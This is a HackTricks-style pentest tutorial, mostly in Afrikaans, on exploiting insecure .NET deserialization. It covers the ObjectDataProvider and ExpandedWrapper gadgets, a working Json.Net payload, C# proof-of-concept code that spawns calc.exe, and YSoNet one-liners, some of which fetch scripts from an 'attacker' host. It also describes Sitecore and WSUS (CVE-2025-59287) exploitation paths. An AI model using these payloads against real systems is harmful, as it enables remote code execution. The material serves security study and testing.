Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie plasing is toegewy aan die begrip hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry en hoe die serialiseringsbiblioteke Json.Net en xmlSerializer misbruik kan word met daardie gadget.

ObjectDataProvider Gadget

Uit die dokumentasie: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, dit is ’n vreemde verklaring, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om ’n ewekansige object te omsluit, gebruik MethodParameters om ewekansige parameters te stel, en dan gebruik MethodName om ’n ewekansige funksie van die ewekansige object aan te roep met die ewekansige parameters.
Gevolglik sal die ewekansige objek ’n funksie met parameters uitvoer terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data namespace, gevind binne die PresentationFramework.dll by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is waar die ObjectDataProvider gedefinieer en geĂŻmplementeer is.

Met dnSpy kan jy die kode inspekteer van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name

Soos jy kan waarneem, wanneer MethodName gestel word, word base.Refresh() aangeroep; kom ons kyk wat dit doen:

OK, kom ons gaan voort en kyk wat this.BeginQuery() doen. BeginQuery word deur ObjectDataProvider oorskryf en dit is wat dit doen:

Let daarop dat aan die einde van die kode dit this.QueryWorke(null) aanroep. Kom ons kyk wat dit uitvoer:

Let daarop dat dit nie die volledige kode van die funksie QueryWorker is nie, maar dit wys die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); aan; dit is die lyn waar die gestelde metode aangeroep word.

As jy wil bevestig dat net deur die MethodName te stel, dit uitgevoer sal word, kan jy hierdie kode uitvoer:

C# demo: ObjectDataProvider triggers Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }

</details>

Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai

## ExpandedWrapper

Met die vorige exploit sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie gedeserialiseer sal word (byvoorbeeld in DotNetNuke vuln — met XmlSerializer is die object via `GetType` gedeserialiseer). In daardie geval sal ons **geen kennis hĂȘ van die object tipe wat binne die _ObjectDataProvider_ ingesluit is** nie (`Process` byvoorbeeld). Jy kan meer [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

Hierdie klas laat toe om s**pecify the object types of the objects that are encapsulated** in 'n gegewe instansie. Dus kan hierdie klas gebruik word om 'n bronobject (_ObjectDataProvider_) in 'n nuwe objecttipe in te kapsel en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
Dit is baie nuttig vir gevalle soos die een wat vroeër aangebied is, omdat ons in staat sal wees om **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.

Jy kan hierdie wrapper toets met die volgende code:

<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Op die official web page word aangedui dat hierdie library toelaat om Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. Dus, as ons die deserialize the ObjectDataProvider gadget kon uitvoer, sou ons ’n RCE kan veroorsaak net deur ’n objek te deserialiseer.

Json.Net example

Eerstens, kom ons kyk na ’n voorbeeld hoe om serialize/deserialize ’n objek te doen deur hierdie library te gebruik:

C# demo: Json.NET serialize/deserialize ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = “james@example.com”, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { “User”, “Admin” } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{“Email”:“james@example.com”,“Active”:true,“CreatedDate”:“2013-01-20T00:00:00Z”,“Roles”:[“User”,“Admin”]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Misbruik van Json.Net

Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die eksploit geskep:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy test the exploit, voer dit net uit en jy sal sien dat ’n calc uitgevoer word:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## Gevorderde .NET Gadget Chains (YSoNet & ysoserial.net)

Die ObjectDataProvider + ExpandedWrapper tegniek wat hierbo bekendgestel is, is slegs een van BAIE gadget chains wat misbruik kan word wanneer 'n toepassing **onveilige .NET deserialisering** uitvoer. Moderne red-team tooling soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **gereed-vir-gebruik kwaadwillige object graphs** vir dosyne gadgets en serialisering-formate.

Hieronder is 'n ingekorte verwysing van die mees nuttige chains wat met *YSoNet* saamgelewer word, saam met 'n kort verduideliking van hoe hulle werk en voorbeelde van opdragte om die payloads te genereer.

| Gadget Chain | Kernidee / Primitive | Algemene Serializers | YSoNet one-liner |
|--------------|----------------------|----------------------|------------------|
| **TypeConfuseDelegate** | Korrupteer die `DelegateSerializationHolder` rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* deur die aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *by .NET ≄4.8 tipe-filtering te omseil* en direk die **constructor** van 'n gegewe klas aan te roep of 'n C# lĂȘer on the fly te **compile** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Benut die **legacy XML** voorstelling van `System.Data.DataSet` om arbitrĂȘre tipes te instantieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel deur die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>
</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Op WPF-ondersteunde runtimes (> .NET 5) ketting dit property getters totdat dit by `System.CodeDom.Compiler.CompilerResults` uitkom, en dan *compile* of **laai** dit 'n DLL wat met `-c` verskaf is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n arbitraire statiese metode met beheerbare argumente aan te roep. YSoNet voeg 'n gerieflike `--xamlurl` variant by om die kwaadwillige XAML op afstand te host | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Sluit `ScriptBlock` in `System.Management.Automation.PSObject` in wat uitgevoer word wanneer PowerShell die object deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> Alle payloads word standaard **na *stdout* geskryf**, wat dit eenvoudig maak om hulle in ander gereedskap te pipen (bv. ViewState generators, base64 encoders, HTTP clients).

### Bou / Installeer YSoNet

As geen vooraf-gekompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** one-liner 'n build-omgewing opstel, die repository kloon en alles in *Release* modus compileer:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die gecompileerde ysonet.exe kan dan gevind word onder ysonet/bin/Release/.

Werklike‑wĂȘreld sink: Sitecore convertToRuntimeHtml → BinaryFormatter

’n Praktiese .NET sink wat bereikbaar is in geauthentiseerde Sitecore XP Content Editor‑vloei:

  • Sink API: Sitecore.Convert.Base64ToObject(string) omsluit new BinaryFormatter().Deserialize(...).
  • Trigger‑pad: pyplyn convertToRuntimeHtml → ConvertWebControls, wat soek na ’n suster‑element met id="{iframeId}_inner" en die value‑attribuut lees wat as base64‑geĂ«nkodeerde geserialiseerde data behandel word. Die resultaat word na ’n string gecast en in die HTML ingevoeg.
Gegauthentiseerde Sitecore sink‑trigger HTTP‑vloei ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&
&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=
 triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=


</details>

- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (newe‑effekte word tydens deserialisering uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.

Vir 'n volledige ketting wat pre‑auth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)

- Produk/rol: Windows Server Update Services (WSUS)‑rol op Windows Server 2012 → 2025.
- Aanvalsoppervlak: IIS-gehoste WSUS-endpunte oor HTTP/HTTPS op TCP 8530/8531 (dikwels intern blootgestel; blootstelling aan die Internet is 'n hoë risiko).
- Hoofoorsaak: Unauthenticated deserialization van aanvaller-beheerde data met behulp van verouderde formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impak: 'n crafted serialized object triggers 'n gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` onder Ăłf die WSUS-diens (`wsusservice.exe`) Ăłf die IIS app pool `wsuspool` (`w3wp.exe`).

Praktiese uitbuitingsnotas
- Opsporing: Scan vir WSUS op TCP 8530/8531. Beskou enige pre-auth serialized blob wat WSUS web methods bereik as 'n potensiële sink vir `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Gebruik YSoNet/ysoserial.net om `BinaryFormatter` of `SoapFormatter` chains te genereer (bv. `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Verwachte proses-lineage by sukses:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>